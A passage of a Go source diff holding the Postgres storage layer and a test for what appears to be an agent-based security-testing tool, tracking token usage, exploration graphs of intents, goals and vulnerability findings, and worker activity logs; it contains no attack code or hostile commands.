type TokenUsage struct {
|
||||
Worker string `json:"worker"`
|
||||
InputTokens int `json:"input_tokens"`
|
||||
OutputTokens int `json:"output_tokens"`
|
||||
CacheReadTokens int `json:"cache_read_tokens"`
|
||||
CacheWriteTokens int `json:"cache_write_tokens"`
|
||||
}
|
||||
|
||||
// DailyTokenBucket is one day's global token aggregate across all tasks.
|
||||
type DailyTokenBucket struct {
|
||||
Day string `json:"day"` // "YYYY-MM-DD"
|
||||
InputTokens int `json:"input_tokens"`
|
||||
OutputTokens int `json:"output_tokens"`
|
||||
CacheReadTokens int `json:"cache_read_tokens"`
|
||||
}
|
||||
|
||||
// TokenDailyAll aggregates token consumption by calendar day (UTC) for the
|
||||
// past `days` days across all explorations. Only kind='result' rows carry token
|
||||
// counts (the terminal per-run summary), so there is no double-counting.
|
||||
func (d *DB) TokenDailyAll(days int) ([]DailyTokenBucket, error) {
|
||||
if days <= 0 {
|
||||
days = 30
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT TO_CHAR(DATE_TRUNC('day', created_at AT TIME ZONE 'UTC'), 'YYYY-MM-DD') AS day,
|
||||
COALESCE(SUM(input_tokens), 0),
|
||||
COALESCE(SUM(output_tokens), 0),
|
||||
COALESCE(SUM(cache_read_tokens), 0)
|
||||
FROM activity
|
||||
WHERE kind = 'result'
|
||||
AND created_at >= NOW() - ($1 * INTERVAL '1 day')
|
||||
GROUP BY day
|
||||
ORDER BY day`, days)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []DailyTokenBucket
|
||||
for rows.Next() {
|
||||
var b DailyTokenBucket
|
||||
if err := rows.Scan(&b.Day, &b.InputTokens, &b.OutputTokens, &b.CacheReadTokens); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, b)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ExplorationStore is a handle onto one exploration's reasoning graph + activity.
|
||||
type ExplorationStore struct {
|
||||
db *DB
|
||||
expID int64
|
||||
}
|
||||
|
||||
// CreateExploration creates a new exploration root and returns its id.
|
||||
func (d *DB) CreateExploration(description, goal string) (int64, error) {
|
||||
var id int64
|
||||
err := d.QueryRow(`INSERT INTO explorations(description, goal) VALUES ($1, $2) RETURNING id`, description, goal).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// Exploration returns a handle bound to an exploration id.
|
||||
func (d *DB) Exploration(id int64) *ExplorationStore { return &ExplorationStore{db: d, expID: id} }
|
||||
|
||||
func (s *ExplorationStore) ID() int64 { return s.expID }
|
||||
|
||||
// Root returns the exploration's description and goal.
|
||||
func (s *ExplorationStore) Root() (description, goal string, err error) {
|
||||
var d sql.NullString
|
||||
err = s.db.QueryRow(`SELECT description, goal FROM explorations WHERE id=$1`, s.expID).Scan(&d, &goal)
|
||||
return d.String, goal, err
|
||||
}
|
||||
|
||||
// AddNode writes a typed reasoning node with optional anchors to asset ids.
|
||||
func (s *ExplorationStore) AddNode(kind string, payload map[string]any, priority int, state, origin string, anchors []int64) (int64, error) {
|
||||
raw, _ := json.Marshal(payload)
|
||||
tx, err := s.db.Begin()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
var id int64
|
||||
if err := tx.QueryRow(`
|
||||
INSERT INTO exploration_nodes(exploration_id, kind, payload, priority, state, origin)
|
||||
VALUES ($1, $2, $3, $4, $5, $6) RETURNING id`,
|
||||
s.expID, kind, string(raw), priority, state, origin).Scan(&id); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
for _, a := range anchors {
|
||||
if _, err := tx.Exec(`INSERT INTO exploration_anchors(node_id, asset_id) VALUES ($1,$2) ON CONFLICT DO NOTHING`, id, a); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
return id, tx.Commit()
|
||||
}
|
||||
|
||||
// AddIntent is a convenience: an open intent.
|
||||
func (s *ExplorationStore) AddIntent(payload map[string]any, priority int, anchors []int64, origin string) (int64, error) {
|
||||
if origin == "" {
|
||||
origin = "planner"
|
||||
}
|
||||
return s.AddNode("intent", payload, priority, "open", origin, anchors)
|
||||
}
|
||||
|
||||
// AddGoal writes a goal node (state open).
|
||||
func (s *ExplorationStore) AddGoal(payload map[string]any, origin string) (int64, error) {
|
||||
return s.AddNode("goal", payload, 0, "open", origin, nil)
|
||||
}
|
||||
|
||||
// OriginFactID returns this exploration's root fact id — the KindFact node with
|
||||
// state='origin' seeded at task creation (the task root). Every intent traces
|
||||
// back to it. Returns 0 (no error) when none exists (legacy explorations created
|
||||
// under the old 'begin' root, or none yet).
|
||||
func (s *ExplorationStore) OriginFactID() (int64, error) {
|
||||
var id int64
|
||||
err := s.db.QueryRow(`SELECT id FROM exploration_nodes WHERE exploration_id=$1 AND kind='fact' AND state='origin' ORDER BY id LIMIT 1`, s.expID).Scan(&id)
|
||||
if err == sql.ErrNoRows {
|
||||
return 0, nil
|
||||
}
|
||||
return id, err
|
||||
}
|
||||
|
||||
// Anchor records a node→asset reference edge (many-to-many): it captures which
|
||||
// global assets an exploration node touched, as lineage/provenance. The asset
|
||||
// graph itself is global and shared — anchoring no longer gates visibility (any
|
||||
// task may read any asset via search); it only preserves the reasoning trail.
|
||||
// Idempotent.
|
||||
func (s *ExplorationStore) Anchor(nodeID, assetID int64) error {
|
||||
if nodeID <= 0 || assetID <= 0 {
|
||||
return nil
|
||||
}
|
||||
_, err := s.db.Exec(`INSERT INTO exploration_anchors(node_id, asset_id) VALUES ($1,$2) ON CONFLICT DO NOTHING`, nodeID, assetID)
|
||||
return err
|
||||
}
|
||||
|
||||
// Link adds a typed exploration edge (idempotent).
|
||||
func (s *ExplorationStore) Link(from int64, rel string, to int64) error {
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO exploration_edges(exploration_id, src_id, rel, dst_id) VALUES ($1,$2,$3,$4)
|
||||
ON CONFLICT (exploration_id, src_id, rel, dst_id) DO NOTHING`, s.expID, from, rel, to)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetNodeState updates any node's state (never deletes).
|
||||
func (s *ExplorationStore) SetNodeState(id int64, state string) error {
|
||||
_, err := s.db.Exec(`UPDATE exploration_nodes SET state=$1 WHERE id=$2 AND exploration_id=$3`, state, id, s.expID)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetIntentState updates an intent node's state (done/blocked/exhausted/open).
|
||||
// ResetRunningIntents returns any intent left in 'running' back to 'open' so it
|
||||
// is re-claimed. Called on startup: a 'running' intent with no live worker (a
|
||||
// backend restart or crashed worker goroutine left it stuck) would otherwise spin
|
||||
// forever in the UI. Workers re-run an intent from scratch, so reopening is safe.
|
||||
func (s *ExplorationStore) ResetRunningIntents() (int64, error) {
|
||||
res, err := s.db.Exec(`UPDATE exploration_nodes SET state='open', completed_at=NULL
|
||||
WHERE exploration_id=$1 AND kind='intent' AND state='running'`, s.expID)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (s *ExplorationStore) SetIntentState(id int64, state string) error {
|
||||
// terminal states stamp completed_at; reopening (back to open/running) clears it.
|
||||
terminal := state == "done" || state == "blocked" || state == "exhausted" || state == "stopped"
|
||||
_, err := s.db.Exec(`UPDATE exploration_nodes
|
||||
SET state=$1, completed_at = CASE WHEN $4 THEN now() ELSE NULL END
|
||||
WHERE id=$2 AND exploration_id=$3 AND kind='intent'`, state, id, s.expID, terminal)
|
||||
return err
|
||||
}
|
||||
|
||||
const nodeCols = `id, kind, payload, priority, state, COALESCE(origin,''), COALESCE(owner,''), created_at`
|
||||
|
||||
func scanNode(sc interface{ Scan(...any) error }) (*Node, error) {
|
||||
var n Node
|
||||
var payload []byte
|
||||
if err := sc.Scan(&n.ID, &n.Kind, &payload, &n.Priority, &n.State, &n.Origin, &n.Owner, &n.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n.Payload = json.RawMessage(payload)
|
||||
return &n, nil
|
||||
}
|
||||
|
||||
func scanNodes(rows *sql.Rows) ([]*Node, error) {
|
||||
var out []*Node
|
||||
for rows.Next() {
|
||||
n, err := scanNode(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, n)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ListByKind lists nodes of a kind (newest first).
|
||||
func (s *ExplorationStore) ListByKind(kind string, limit int) ([]*Node, error) {
|
||||
if limit <= 0 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT `+nodeCols+` FROM exploration_nodes
|
||||
WHERE exploration_id=$1 AND kind=$2 ORDER BY id DESC LIMIT $3`, s.expID, kind, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanNodes(rows)
|
||||
}
|
||||
|
||||
// GetNode returns one node of this exploration by id (nil, nil if not found).
|
||||
func (s *ExplorationStore) GetNode(id int64) (*Node, error) {
|
||||
n, err := scanNode(s.db.QueryRow(`SELECT `+nodeCols+` FROM exploration_nodes WHERE id=$1 AND exploration_id=$2`, id, s.expID))
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Nodes lists all nodes (for graph viz).
|
||||
func (s *ExplorationStore) Nodes(limit int) ([]*Node, error) {
|
||||
if limit <= 0 {
|
||||
limit = 2000
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT `+nodeCols+` FROM exploration_nodes WHERE exploration_id=$1 ORDER BY id LIMIT $2`, s.expID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanNodes(rows)
|
||||
}
|
||||
|
||||
// Edge is one row from exploration_edges.
|
||||
type Edge struct {
|
||||
From int64
|
||||
Rel string
|
||||
To int64
|
||||
}
|
||||
|
||||
// Edges lists exploration edges (for graph viz).
|
||||
func (s *ExplorationStore) Edges(limit int) ([]Edge, error) {
|
||||
if limit <= 0 {
|
||||
limit = 5000
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT src_id, rel, dst_id FROM exploration_edges WHERE exploration_id=$1 LIMIT $2`, s.expID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []Edge
|
||||
for rows.Next() {
|
||||
var e Edge
|
||||
if err := rows.Scan(&e.From, &e.Rel, &e.To); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// FindingIntents maps each finding id to the intent that produced it (the
|
||||
// intent --yields--> finding edge; report_finding links it). Findings with no
|
||||
// producing intent are absent. Precise (JOIN, no edge-scan limit).
|
||||
func (s *ExplorationStore) FindingIntents() (map[int64]int64, error) {
|
||||
rows, err := s.db.Query(`SELECT e.dst_id, e.src_id
|
||||
FROM exploration_edges e
|
||||
JOIN exploration_nodes n ON n.id = e.dst_id AND n.exploration_id = e.exploration_id
|
||||
WHERE e.exploration_id=$1 AND e.rel=$2 AND n.kind='finding'`, s.expID, RelYields)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := map[int64]int64{}
|
||||
for rows.Next() {
|
||||
var findingID, intentID int64
|
||||
if err := rows.Scan(&findingID, &intentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[findingID] = intentID
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// Frontier returns open intents ordered by priority desc then id (FIFO tiebreak).
|
||||
func (s *ExplorationStore) Frontier(limit int) ([]*Node, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT `+nodeCols+` FROM exploration_nodes
|
||||
WHERE exploration_id=$1 AND kind='intent' AND state='open'
|
||||
ORDER BY priority DESC, id ASC LIMIT $2`, s.expID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanNodes(rows)
|
||||
}
|
||||
|
||||
// ClaimIntent atomically moves an open intent to running. Returns true if claimed.
|
||||
func (s *ExplorationStore) ClaimIntent(id int64, owner string) (bool, error) {
|
||||
res, err := s.db.Exec(`UPDATE exploration_nodes SET state='running', owner=$1
|
||||
WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='open'`, owner, id, s.expID)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
return n == 1, nil
|
||||
}
|
||||
|
||||
// Stats returns node counts grouped by kind (for dashboard).
|
||||
func (s *ExplorationStore) Stats() (map[string]int, error) {
|
||||
rows, err := s.db.Query(`SELECT kind, count(*) FROM exploration_nodes WHERE exploration_id=$1 GROUP BY kind`, s.expID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := map[string]int{}
|
||||
for rows.Next() {
|
||||
var k string
|
||||
var c int
|
||||
if err := rows.Scan(&k, &c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[k] = c
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// --- activity (poll by global id cursor) ---
|
||||
|
||||
// AppendActivity records one worker step and returns its id.
|
||||
func (s *ExplorationStore) AppendActivity(a Activity) (int64, error) {
|
||||
var id int64
|
||||
err := s.db.QueryRow(`
|
||||
INSERT INTO activity(exploration_id, node_id, worker, kind, tool, tool_use_id, is_error, summary, detail, input_tokens, output_tokens, cache_read_tokens, cache_write_tokens)
|
||||
VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),NULLIF($5,''),NULLIF($6,''),$7,NULLIF($8,''),NULLIF($9,''),$10,$11,$12,$13)
|
||||
RETURNING id`, s.expID, a.NodeID, utf8Clean(a.Worker), utf8Clean(a.Kind), utf8Clean(a.Tool), utf8Clean(a.ToolUseID), a.IsError, utf8Clean(a.Summary), utf8Clean(a.Detail),
|
||||
a.InputTokens, a.OutputTokens, a.CacheReadTokens, a.CacheWriteTokens).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// TokenTotal sums token usage across ALL workers for this exploration (whole-task
|
||||
// total). Same source as TokenStatsByWorker (kind='result' rows), just ungrouped.
|
||||
func (s *ExplorationStore) TokenTotal() (TokenUsage, error) {
|
||||
var u TokenUsage
|
||||
err := s.db.QueryRow(`SELECT
|
||||
COALESCE(SUM(input_tokens),0), COALESCE(SUM(output_tokens),0),
|
||||
COALESCE(SUM(cache_read_tokens),0), COALESCE(SUM(cache_write_tokens),0)
|
||||
FROM activity WHERE exploration_id=$1 AND kind='result'`, s.expID).
|
||||
Scan(&u.InputTokens, &u.OutputTokens, &u.CacheReadTokens, &u.CacheWriteTokens)
|
||||
return u, err
|
||||
}
|
||||
|
||||
// TokenTotalsAll returns the whole-task token total for every exploration in one
|
||||
// query (exploration_id → total), so the task list can show per-task consumption
|
||||
// without a query per row.
|
||||
func (d *DB) TokenTotalsAll() (map[int64]TokenUsage, error) {
|
||||
rows, err := d.Query(`SELECT exploration_id,
|
||||
COALESCE(SUM(input_tokens),0), COALESCE(SUM(output_tokens),0),
|
||||
COALESCE(SUM(cache_read_tokens),0), COALESCE(SUM(cache_write_tokens),0)
|
||||
FROM activity WHERE kind='result' GROUP BY exploration_id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := map[int64]TokenUsage{}
|
||||
for rows.Next() {
|
||||
var eid int64
|
||||
var u TokenUsage
|
||||
if err := rows.Scan(&eid, &u.InputTokens, &u.OutputTokens, &u.CacheReadTokens, &u.CacheWriteTokens); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[eid] = u
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// LastActivityAll returns the unix time of the most recent activity per
|
||||
// exploration (exploration_id → max created_at epoch), one query for all tasks.
|
||||
// Persisted (unlike Engine.LastActivity's in-memory map), so it survives restarts
|
||||
// and gives终态任务 a stable "ran until" time for computing run duration.
|
||||
func (d *DB) LastActivityAll() (map[int64]int64, error) {
|
||||
rows, err := d.Query(`SELECT exploration_id, EXTRACT(EPOCH FROM MAX(created_at))::bigint FROM activity GROUP BY exploration_id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := map[int64]int64{}
|
||||
for rows.Next() {
|
||||
var eid, ts int64
|
||||
if err := rows.Scan(&eid, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[eid] = ts
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// GoalCounts is the goal summary for one exploration.
|
||||
type GoalCounts struct{ Total, Met int }
|
||||
|
||||
// GoalCountsAll returns goal totals (total / met) per exploration id, one query
|
||||
// for all tasks — used by listTasks so the task list shows progress for every task.
|
||||
func (d *DB) GoalCountsAll() (map[int64]GoalCounts, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT exploration_id,
|
||||
COUNT(*) AS total,
|
||||
COUNT(*) FILTER (WHERE state = 'met') AS met
|
||||
FROM exploration_nodes
|
||||
WHERE kind = 'goal'
|
||||
GROUP BY exploration_id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := map[int64]GoalCounts{}
|
||||
for rows.Next() {
|
||||
var eid int64
|
||||
var gc GoalCounts
|
||||
if err := rows.Scan(&eid, &gc.Total, &gc.Met); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[eid] = gc
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// TokenStatsByWorker sums token usage per worker for this exploration (from the
|
||||
// kind='result' records that carry usage). Used by the per-agent token display.
|
||||
func (s *ExplorationStore) TokenStatsByWorker() ([]TokenUsage, error) {
|
||||
rows, err := s.db.Query(`SELECT COALESCE(worker,''),
|
||||
COALESCE(SUM(input_tokens),0), COALESCE(SUM(output_tokens),0),
|
||||
COALESCE(SUM(cache_read_tokens),0), COALESCE(SUM(cache_write_tokens),0)
|
||||
FROM activity WHERE exploration_id=$1 AND kind='result'
|
||||
GROUP BY worker ORDER BY worker`, s.expID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []TokenUsage{}
|
||||
for rows.Next() {
|
||||
var u TokenUsage
|
||||
if err := rows.Scan(&u.Worker, &u.InputTokens, &u.OutputTokens, &u.CacheReadTokens, &u.CacheWriteTokens); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, u)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ActivityList returns steps after sinceID (exclusive), optionally filtered by node.
|
||||
// Returns items and the new cursor (max id seen).
|
||||
func (s *ExplorationStore) ActivityList(nodeID *int64, sinceID int64, limit int) ([]Activity, int64, error) {
|
||||
if limit <= 0 {
|
||||
limit = 300
|
||||
}
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
const cols = `id, node_id, COALESCE(worker,''), COALESCE(kind,''), COALESCE(tool,''), COALESCE(tool_use_id,''), is_error, COALESCE(summary,''), created_at, input_tokens, output_tokens, cache_read_tokens, cache_write_tokens`
|
||||
if nodeID != nil {
|
||||
rows, err = s.db.Query(`SELECT `+cols+`
|
||||
FROM activity WHERE exploration_id=$1 AND node_id=$2 AND id>$3 ORDER BY id LIMIT $4`, s.expID, *nodeID, sinceID, limit)
|
||||
} else {
|
||||
rows, err = s.db.Query(`SELECT `+cols+`
|
||||
FROM activity WHERE exploration_id=$1 AND id>$2 ORDER BY id LIMIT $3`, s.expID, sinceID, limit)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, sinceID, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []Activity{}
|
||||
cursor := sinceID
|
||||
for rows.Next() {
|
||||
var a Activity
|
||||
if err := rows.Scan(&a.ID, &a.NodeID, &a.Worker, &a.Kind, &a.Tool, &a.ToolUseID, &a.IsError, &a.Summary, &a.CreatedAt,
|
||||
&a.InputTokens, &a.OutputTokens, &a.CacheReadTokens, &a.CacheWriteTokens); err != nil {
|
||||
return nil, sinceID, err
|
||||
}
|
||||
if a.ID > cursor {
|
||||
cursor = a.ID
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, cursor, rows.Err()
|
||||
}
|
||||
|
||||
// ActivityDetail lazily returns the full detail blob for one step.
|
||||
func (s *ExplorationStore) ActivityDetail(id int64) (string, error) {
|
||||
var d sql.NullString
|
||||
err := s.db.QueryRow(`SELECT detail FROM activity WHERE id=$1 AND exploration_id=$2`, id, s.expID).Scan(&d)
|
||||
if err == sql.ErrNoRows {
|
||||
return "", nil
|
||||
}
|
||||
return d.String, err
|
||||
}
|
||||
|
||||
// scanTrace reads the summary-only column set shared by the worker-trace tools
|
||||
// (ActivityTrace / ActivityTraceSearch). Detail is never selected here — it is
|
||||
// pulled separately, on demand, via ActivityByIDs.
|
||||
func scanTrace(rows *sql.Rows) ([]Activity, error) {
|
||||
out := []Activity{}
|
||||
for rows.Next() {
|
||||
var a Activity
|
||||
if err := rows.Scan(&a.ID, &a.NodeID, &a.Worker, &a.Kind, &a.Tool, &a.IsError, &a.Summary); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
const traceCols = `id, node_id, COALESCE(worker,''), COALESCE(kind,''), COALESCE(tool,''), is_error, COALESCE(summary,'')`
|
||||
|
||||
// ActivityTrace lists one work's steps (by intent/node id) for the trace tools:
|
||||
// summaries only (detail is lazy — fetch via ActivityByIDs). thinking/usage rows
|
||||
// are dropped so the caller sees the work's actions + observations, not the
|
||||
// model's internal reasoning or token-accounting noise.
|
||||
func (s *ExplorationStore) ActivityTrace(nodeID int64, limit int) ([]Activity, error) {
|
||||
if limit <= 0 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT `+traceCols+`
|
||||
FROM activity WHERE exploration_id=$1 AND node_id=$2 AND kind NOT IN ('thinking','usage')
|
||||
ORDER BY id LIMIT $3`, s.expID, nodeID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanTrace(rows)
|
||||
}
|
||||
|
||||
// ActivityTraceSearch finds steps whose summary OR detail matches q
|
||||
// (case-insensitive), returning summaries only. nodeID != nil scopes to one work;
|
||||
// nil searches across ALL works (node_id IS NOT NULL — planner/main steps have no
|
||||
// node_id, so this cleanly means "worker traces"). thinking/usage rows dropped.
|
||||
func (s *ExplorationStore) ActivityTraceSearch(nodeID *int64, q string, limit int) ([]Activity, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
like := "%" + q + "%"
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
if nodeID != nil {
|
||||
rows, err = s.db.Query(`SELECT `+traceCols+`
|
||||
FROM activity WHERE exploration_id=$1 AND node_id=$2 AND kind NOT IN ('thinking','usage')
|
||||
AND (summary ILIKE $3 OR detail ILIKE $3) ORDER BY id LIMIT $4`, s.expID, *nodeID, like, limit)
|
||||
} else {
|
||||
rows, err = s.db.Query(`SELECT `+traceCols+`
|
||||
FROM activity WHERE exploration_id=$1 AND node_id IS NOT NULL AND kind NOT IN ('thinking','usage')
|
||||
AND (summary ILIKE $2 OR detail ILIKE $2) ORDER BY id LIMIT $3`, s.expID, like, limit)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanTrace(rows)
|
||||
}
|
||||
|
||||
// ActivityByIDs loads full detail for specific step ids (the trace drill-down),
|
||||
// scoped to this exploration. thinking rows are skipped (never returned, even if
|
||||
// their id is asked for). Order is ascending id, not the input order.
|
||||
func (s *ExplorationStore) ActivityByIDs(ids []int64) ([]Activity, error) {
|
||||
if len(ids) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
ph := make([]string, len(ids))
|
||||
args := make([]any, len(ids)+1)
|
||||
args[0] = s.expID
|
||||
for i, id := range ids {
|
||||
ph[i] = fmt.Sprintf("$%d", i+2)
|
||||
args[i+1] = id
|
||||
}
|
||||
rows, err := s.db.Query(`SELECT id, node_id, COALESCE(kind,''), COALESCE(tool,''), is_error, COALESCE(detail,'')
|
||||
FROM activity WHERE exploration_id=$1 AND kind<>'thinking' AND id IN (`+strings.Join(ph, ",")+`) ORDER BY id`, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []Activity{}
|
||||
for rows.Next() {
|
||||
var a Activity
|
||||
if err := rows.Scan(&a.ID, &a.NodeID, &a.Kind, &a.Tool, &a.IsError, &a.Detail); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// AddStandaloneFinding writes a finding to the standalone findings table, which
|
||||
// persists across task deletion (task_id / node_id become NULL when the task or
|
||||
// exploration node is deleted). taskID and nodeID may be 0 (stored as NULL).
|
||||
func (s *ExplorationStore) AddStandaloneFinding(taskID, nodeID int64, vulnclass, severity, summary, evidence, worker string, assetIDs []int64) (int64, error) {
|
||||
return s.db.AddFinding(taskID, nodeID, vulnclass, severity, summary, evidence, worker, assetIDs)
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package db
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExplorationFlow(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
expID, err := d.CreateExploration("test", "拿下测试目标")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM explorations WHERE id=$1`, expID) // cascades nodes/edges/activity
|
||||
es := d.Exploration(expID)
|
||||
|
||||
// goal node + two intents
|
||||
goal, err := es.AddGoal(map[string]any{"text": "getadmin", "vulnclass": "authz"}, "human")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := es.AddIntent(map[string]any{"summary": "enumerate endpoints"}, 5, nil, "planner"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
i2, err := es.AddIntent(map[string]any{"summary": "test idor"}, 8, nil, "planner")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// frontier ordered by priority desc → i2(8) before i1(5)
|
||||
fr, err := es.Frontier(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(fr) != 2 || fr[0].ID != i2 {
|
||||
t.Fatalf("frontier order wrong: %+v", fr)
|
||||
}
|
||||
|
||||
// atomic claim: first wins, second on same id fails
|
||||
ok, err := es.ClaimIntent(i2, "worker-1")
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("claim i2: ok=%v err=%v", ok, err)
|
||||
}
|
||||
ok2, _ := es.ClaimIntent(i2, "worker-2")
|
||||
if ok2 {
|
||||
t.Fatalf("double-claim should fail")
|
||||
}
|
||||
|
||||
// finding yields from intent, proves goal
|
||||
find, err := es.AddNode("finding", map[string]any{"vulnclass": "idor", "severity": "high"}, 9, "confirmed", "worker-1", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := es.Link(i2, "yields", find); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := es.Link(find, "proves", goal); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := es.SetNodeState(goal, "met"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// activity poll by id cursor
|
||||
id1, err := es.AppendActivity(Activity{Worker: "worker-1", Kind: "tool_use", Tool: "Bash", Summary: "ran curl", Detail: "full output"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
items, cursor, err := es.ActivityList(nil, 0, 100)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(items) != 1 || cursor != id1 {
|
||||
t.Fatalf("activity list: items=%d cursor=%d", len(items), cursor)
|
||||
}
|
||||
det, _ := es.ActivityDetail(id1)
|
||||
if det != "full output" {
|
||||
t.Fatalf("detail want 'full output', got %q", det)
|
||||
}
|
||||
// incremental: nothing new after cursor
|
||||
items2, _, _ := es.ActivityList(nil, cursor, 100)
|
||||
if len(items2) != 0 {
|
||||
t.Fatalf("incremental poll should be empty, got %d", len(items2))
|
||||
}
|
||||
|
||||
// stats
|
||||
st, _ := es.Stats()
|
||||
if st["intent"] != 2 || st["goal"] != 1 || st["finding"] != 1 {
|
||||
t.Fatalf("stats: %+v", st)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// DBFinding is a row in the standalone findings table (persists across task deletion).
|
||||
type DBFinding struct {
|
||||
ID int64
|
||||
TaskID *int64
|
||||
NodeID *int64
|
||||
VulnClass string
|
||||
Severity string
|
||||
Summary string
|
||||
Evidence string
|
||||
Worker string
|
||||
AssetIDs []int64
|
||||
CreatedAt time.Time
|
||||
TaskDescription string // populated via LEFT JOIN on tasks
|
||||
}
|
||||
|
||||
// AddFinding inserts a finding into the standalone findings table. taskID and
|
||||
// nodeID may be 0 (stored as NULL). Returns the new finding id.
|
||||
func (d *DB) AddFinding(taskID, nodeID int64, vulnclass, severity, summary, evidence, worker string, assetIDs []int64) (int64, error) {
|
||||
